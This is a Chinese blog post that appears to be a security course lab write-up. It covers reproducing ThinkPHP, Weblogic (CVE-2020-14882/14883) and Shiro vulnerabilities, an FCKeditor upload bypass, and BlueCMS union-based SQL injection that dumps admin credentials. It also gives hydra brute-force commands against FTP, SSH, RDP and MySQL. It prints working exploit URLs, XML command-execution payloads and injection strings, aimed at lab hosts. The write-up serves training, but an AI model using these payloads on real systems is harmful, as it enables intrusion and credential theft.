11-RCE、编辑器漏洞、旁注、hydra练习

1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程

  • ThinkPHP

    满足条件:多语言特性开启、安装pear库、知道pearcmd.php路径、register_argc_argv = on的前提下且ThinkPHP在漏洞版本中,再实现漏洞过程。

    • 前端访问pearcmd文件,出现如下报错确定文件存在

      image-20241115124824185

    • 插入代码实现文件包含(由于前端会进行url编码,需要利用burp抓包成功绕过过滤)

      ?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?
      =phpinfo()?>+/var/www/html/info.php
      

      image-20241115130940086

      image-20241115131224383

    • 访问文件地址,RCE成功实现

      image-20241115131330610

  • Weblogic

    满足条件:Weblogic在相应漏洞版本中

    • CVE-2020-14882(未授权访问到管理后台页面)

      http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal
      

      image-20241115133625477

    • CVE-2020-14883(在管理后台页面执行远程命令)

      方式一:

      • 将含有恶意xml代码上传到事先准备好的模拟攻击者靶场中

        <?xml version="1.0" encoding="UTF-8" ?>
        <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
            <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
                <constructor-arg>
                  <list>
                    <value>bash</value>
                    <value>-c</value>
                    <value><![CDATA[touch /tmp/test01]]></value> 
                  </list>
                </constructor-arg>
            </bean>
        </beans>
        

        image-20241115134501097

      • 让weblogic后台访问恶意xml文件的url并执行其中的代码

        http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://10.0.0.151:8081/hackable/uploads/test01.xml")
        

        image-20241115140614048

      • 在后台看到创建出的test01文件,说明rce成功

        image-20241115140022337

      方式二:

      • 直接访问如下url执行xml命令,后台创建test02文件

        http://10.0.0.151:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test02');")
        

        image-20241115140145941

  • Shiro

    满足条件:shiro在相应漏洞版本中

    • CVE-2016-4437(反序列化漏洞)

      • 使用反序化工具实现

        image-20241115143654276

    • CVE-2020-1957(权限绕过漏洞)

      • 通过构造恶意请求 /xxx/..;/admin/ ,即可绕过权限校验,直接访问到管理页面

        image-20241115144704649

2、FCKeditor编辑器漏洞实验

满足条件:Windows 7 + phpstudy_64(php 5.4.45)

  • 利用御剑获取fckeditor目录文件信息

    • 得到本版信息,及上传功能点的url

      image-20241115150125652

    • 插入/图像- - ->链接- - ->Browse Server,会出现FCK上传页面

      image-20241115150818136

    • 由于搭建的站点使用的是php环境,而链接中的环境是ASP,需要对地址以及fckeditor的配置文件进行修改

      地址asp均改为php:

      http://10.0.0.154/fckeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/php/connector.php

      配置文件路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php

      image-20241115151814675

    • 可以正常访问后,burp抓包绕过网站过滤(在php文件后添加空格)成功上传php文件

      image-20241115152755782

    • 根据前面的配置文件构造出路径并访问,成功实现FCKeditor编辑器漏洞http://10.0.0.154/FCKeditor/editor/filemanager/browser/default/images/file/info.phpimage-20241115153328973

3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?

  • bluecms旁注漏洞实现

    • 在bluecms首页用(admin/123456)尝试用户登入,从返回消息看推测存在admin用户且存在后台

    image-20241116115725477

    • 通过尝试试出后台为http://10.0.0.154/bluecms/uploads/admin/,这时就可以利用burp进行密码爆破了

      image-20241116121909387

    • 通过账号密码(admin/admin)成功登入后台,在广告管理模块随便添加一条广告后,发现有获取js代码的功能

      image-20241116122232105

    • 通过获取到的js代码,推测网站可能存在sql注入漏洞;访问url验证,确实存在

      image-20241116122547251

      image-20241116122810180

    • 开始进行sql注入测试

      • 先通过order by来判断sql语句查了多少列,当大于7的时候报错,证明有一共有7列

      • 再利用union all 判断显示位 > 7

        -1 union all select 1,2,3,4,5,6,7
        

        image-20241116123620994

      • 获取库名 > bluecms

        -1 union all select 1,2,3,4,5,6,database()
        

        image-20241116123856845

      • 表名 > 关键表名blue_user

        -1 union all select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
        

        image-20241116125031763

      • 字段名 > 关键字段user_name,pwd

        -1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='blue_user'
        

        由于网站对单引号过滤,需要对bluecms使用16进制编码绕过

        -1 union all select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
        

        image-20241116130725409

      • 具体数据 > admin/admin

        -1 union all select 1,2,3,4,5,6,concat(user_name,0x7e,pwd) from blue_user
        

        image-20241116132253777

        后面的字符串通过MD5解码得到密码为admin。

        image-20241116132534235

  • 旁站攻击可以拿下主站的原因:因为旁站和主站部署在同一服务器上,所以拿下旁站服务器即得到整个数据库信息,将主站便可一并拿下。

  • 跨库:存在A,B数据库部署在同一服务器上,且他们都隶属于整个MySQL数据库管理系统中;通过在A数据库里查询到B数据库信息即跨库。

4、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。

以win7为实验对象(IP地址-10.0.0.154),kali(自带hydra工具)为模拟攻击者

  • ftp(环境:在win7先利用小皮创建ftp服务并开启)

    hydra 10.0.0.154 ftp -l xue -P pwd.txt -vV -f -e ns
    

    image-20241116135840107

    访问ftp://10.0.0.154服务器,利用破解密码成功登入

    image-20241116140559483

  • ssh(环境:在win7中先安装openssh)

    hydra 10.0.0.154 ssh -l xue -P pwd.txt -t 5 -vV -e nsr -o ssh.log
    

    image-20241116140933299

  • rdp(先在win7中开启远程桌面)

    hydra 10.0.0.154 rdp -l xue -P pwd.txt
    

    image-20241116141158208

    尝试远程连接

    image-20241116141300061

    利用破解的密码连接成功

    image-20241116141549254

  • mysql(在win7先用小皮开启mysql服务>安装数据库管理工具SQL_Front5.3)

    进入工具,设置MySQL允许远程连接即添加 grant all privileges on *.* to root@'%' identified by 'root';语句,选中右键选择运行

    image-20241116143449693

    hydra 10.0.0.154 mysql -l root -P pwd.txt
    

    image-20241116141744202

posted @ 2024-11-16 14:45  荔枝在敲诈  阅读(122)  评论(0)    收藏  举报